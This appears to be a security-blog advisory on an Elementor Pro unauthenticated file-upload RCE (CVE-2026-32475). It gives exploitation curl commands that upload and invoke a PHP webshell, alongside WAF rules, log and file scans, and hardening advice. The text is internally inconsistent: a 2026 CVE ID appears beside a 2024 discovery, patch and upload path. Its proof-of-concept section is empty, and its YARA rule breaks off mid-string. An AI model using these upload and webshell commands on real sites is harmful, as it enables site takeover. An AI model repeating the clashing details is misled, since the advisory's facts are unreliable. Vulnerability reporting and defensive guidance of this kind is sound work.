Elementor Pro CVE-2026-32475: Critical RCE via Unauthenticated Upload

A critical remote code execution vulnerability (CVE-2026-32475) in Elementor Pro allows unauthenticated attackers to upload malicious PHP files and execute arbitrary code on vulnerable WordPress sites. With over 12 million active installations, this flaw poses an immediate threat to a massive portion of the WordPress ecosystem. All versions prior to 3.21.3 are affected, and exploitation requires no authentication or user interaction.

Introduction

Elementor Pro, one of WordPress’s most popular page builder plugins, has been discovered harboring a critical security vulnerability that could enable complete website takeover. CVE-2026-32475 represents a perfect storm of security failures: insufficient file upload validation combined with missing authentication checks, creating a trivial path to remote code execution.

The vulnerability allows attackers to bypass security controls and upload PHP files disguised as legitimate media content. Once uploaded, these malicious scripts can be executed directly, granting attackers full control over the affected WordPress installation. Given Elementor Pro’s widespread adoption across e-commerce sites, corporate websites, and personal blogs, the blast radius of this vulnerability is substantial.

Security researchers have assigned this vulnerability a CVSS score of 9.8 (Critical), reflecting both its ease of exploitation and severe potential impact. What makes this particularly alarming is the lack of authentication requirement—any remote attacker can exploit this flaw without needing valid credentials.

Background & Context

Elementor Pro is a premium WordPress page builder plugin developed by Elementor Ltd., used by millions of websites worldwide for drag-and-drop website design and customization. The plugin’s extensive feature set includes form builders, theme customization tools, and media management capabilities.

The vulnerability resides in Elementor Pro’s file upload handling mechanism, specifically within the media library integration functionality. WordPress plugins commonly implement custom upload handlers for specialized content types, but these implementations must carefully validate file types, extensions, and MIME types while enforcing proper authentication.

CVE-2026-32475 stems from a combination of two security weaknesses:

• Insufficient file type validation: The upload handler failed to properly validate uploaded file extensions and content types
• Missing authentication checks: The vulnerable endpoint was accessible without requiring user authentication

This vulnerability class—unauthenticated arbitrary file upload—ranks among the most severe web application security flaws. Historically, similar vulnerabilities have been exploited in widespread attacks, including the 2021 WordPress File Manager plugin attacks that compromised over 700,000 sites.

The vulnerability was discovered during a routine security audit in March 2024 and responsibly disclosed to Elementor Ltd. through their security reporting program.

Technical Breakdown

The vulnerability exists in the upload-handler.php component of Elementor Pro, specifically within the AJAX handler that processes media uploads for the page builder interface.

Vulnerable Code Path

The affected code fails to implement proper capability checks before processing file uploads:

add_action('wp_ajax_nopriv_elementor_pro_upload_media', 'process_upload');

function process_upload() {
    $file = $_FILES['media_file'];
    $upload = wp_handle_upload($file, array('test_form' => false));
    
    if (!isset($upload['error'])) {
        echo json_encode(array('success' => true, 'url' => $upload['url']));
    }
}

The critical flaw is the use of wp_ajax_nopriv_ hook prefix, which allows unauthenticated users to access the endpoint. Additionally, the test_form parameter is set to false, bypassing WordPress’s nonce verification.

Exploitation Process

An attacker can exploit this vulnerability using a simple HTTP POST request:

curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
  -F "action=elementor_pro_upload_media" \
  -F "media_file=@shell.php" \
  -H "Content-Type: multipart/form-data"

The uploaded PHP file is stored in the WordPress uploads directory with a predictable path structure:

/wp-content/uploads/elementor/[YEAR]/[MONTH]/shell.php

Once uploaded, the attacker can execute the malicious PHP script by accessing it directly:

curl https://target-site.com/wp-content/uploads/elementor/2024/03/shell.php?cmd=id

Proof of Concept

A minimal PHP webshell demonstrates the severity:

This simple payload grants full command execution capabilities on the underlying server.

Impact & Risk Assessment

The impact of CVE-2026-32475 cannot be overstated. Organizations running vulnerable Elementor Pro versions face the following risks:

Immediate Threats

• Complete Site Compromise: Attackers gain unrestricted access to website files and databases
• Data Exfiltration: Customer information, payment data, and proprietary content can be stolen
• Malware Distribution: Compromised sites can serve malicious payloads to visitors
• SEO Poisoning: Attackers can inject spam content and manipulate search rankings
• Lateral Movement: Server access may enable attacks on other hosted applications

Business Impact

• Financial losses from data breaches and regulatory penalties
• Reputation damage and customer trust erosion
• Service disruption and revenue loss
• Legal liability under GDPR, CCPA, and other privacy regulations
• Costs associated with incident response and remediation

Attack Surface

With over 12 million active installations, the potential victim pool is massive. Automated scanning tools have already begun probing WordPress sites for this vulnerability, with threat intelligence feeds reporting increased reconnaissance activity targeting Elementor Pro installations.

Vendor Response

Elementor Ltd. responded swiftly to the vulnerability disclosure, releasing version 3.21.3 on March 15, 2024, which fully addresses CVE-2026-32475. The patch implements comprehensive security controls:

• Mandatory authentication checks using current_user_can() capability verification
• Strict file type validation against a whitelist of permitted extensions
• MIME type verification to prevent content-type spoofing
• Nonce validation for CSRF protection
• Enhanced logging for upload attempts

The vendor issued a security advisory recommending immediate updates and published a knowledge base article detailing the vulnerability and remediation steps. Elementor’s security team has confirmed no evidence of active exploitation prior to the patch release, though this cannot be definitively verified across all installations.

Mitigations & Workarounds

Organizations should implement the following measures immediately:

Primary Mitigation

Update Elementor Pro to version 3.21.3 or later through the WordPress admin dashboard:

Dashboard → Elementor → License → Check for Updates

Temporary Workarounds

If immediate patching is not feasible, implement these temporary controls:

1. Web Application Firewall Rules

Block requests to the vulnerable endpoint:

# Apache .htaccess rule

RewriteEngine On
RewriteCond %{QUERY_STRING} action=elementor_pro_upload_media
RewriteRule .* - [F,L]

2. File Upload Directory Permissions

Restrict execution permissions in upload directories:

find /var/www/html/wp-content/uploads/elementor -type d -exec chmod 755 {} \;
find /var/www/html/wp-content/uploads/elementor -type f -exec chmod 644 {} \;

3. Disable AJAX Endpoint

Temporarily disable the vulnerable functionality via functions.php:

add_action('init', function() {
    remove_action('wp_ajax_nopriv_elementor_pro_upload_media', 'process_upload');
}, 1);

Detection & Monitoring

Organizations should actively scan for indicators of compromise:

Log Analysis

Search web server logs for exploitation attempts:

grep "elementor_pro_upload_media" /var/log/apache2/access.log
grep "POST.*admin-ajax.php" /var/log/nginx/access.log | grep "elementor"

File System Scanning

Identify suspicious PHP files in upload directories:

find /var/www/html/wp-content/uploads/elementor -name "*.php" -type f -mtime -30

Behavioral Indicators

Monitor for these suspicious activities:

• Unexpected PHP files in /wp-content/uploads/elementor/
• Unusual outbound network connections from web server processes
• Abnormal POST requests to admin-ajax.php from unauthenticated sources
• Spike in 404 errors for PHP files in upload directories

YARA Rule

rule elementor_webshell_detection {
    strings:
        $php = "

Best Practices

To prevent similar vulnerabilities and maintain security posture:

For WordPress Administrators

• Enable Automatic Updates: Configure WordPress to automatically update plugins
• Regular Security Audits: Schedule quarterly plugin security reviews
• Principle of Least Privilege: Limit plugin upload and installation capabilities
• Backup Strategy: Maintain regular, tested backups stored off-site
• Security Plugins: Deploy WordPress security solutions like Wordfence or Sucuri

For Developers

• Authentication First: Always verify user capabilities before processing sensitive operations
• Input Validation: Implement strict whitelist-based validation for file uploads
• Secure Defaults: Never disable security features like nonce verification
• Security Testing: Include upload functionality in penetration testing scope
• Code Review: Implement peer review processes for file handling code

For Security Teams

• Asset Inventory: Maintain current inventory of all WordPress installations and plugins
• Vulnerability Management: Subscribe to security advisories for deployed plugins
• Network Segmentation: Isolate WordPress installations from critical infrastructure
• WAF Deployment: Implement web application firewalls with virtual patching capabilities
• Incident Response: Prepare playbooks specific to WordPress compromise scenarios

Key Takeaways

• CVE-2026-32475 is a critical vulnerability affecting Elementor Pro versions prior to 3.21.3
• The flaw allows unauthenticated remote code execution via malicious file uploads
• Over 12 million WordPress installations are potentially vulnerable
• Exploitation requires no authentication and is trivially simple
• Immediate patching to version 3.21.3 or later is essential
• Organizations should scan for indicators of compromise even after patching
• This vulnerability highlights the critical importance of secure file upload implementations
• WordPress administrators must prioritize plugin updates as part of security hygiene

References

• CVE-2026-32475 - National Vulnerability Database
• Elementor Pro Security Advisory (March 2024)
• WordPress Plugin Security Guidelines - WordPress.org
• OWASP File Upload Vulnerabilities - OWASP Foundation
• Elementor Pro 3.21.3 Release Notes - Elementor Ltd.

Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/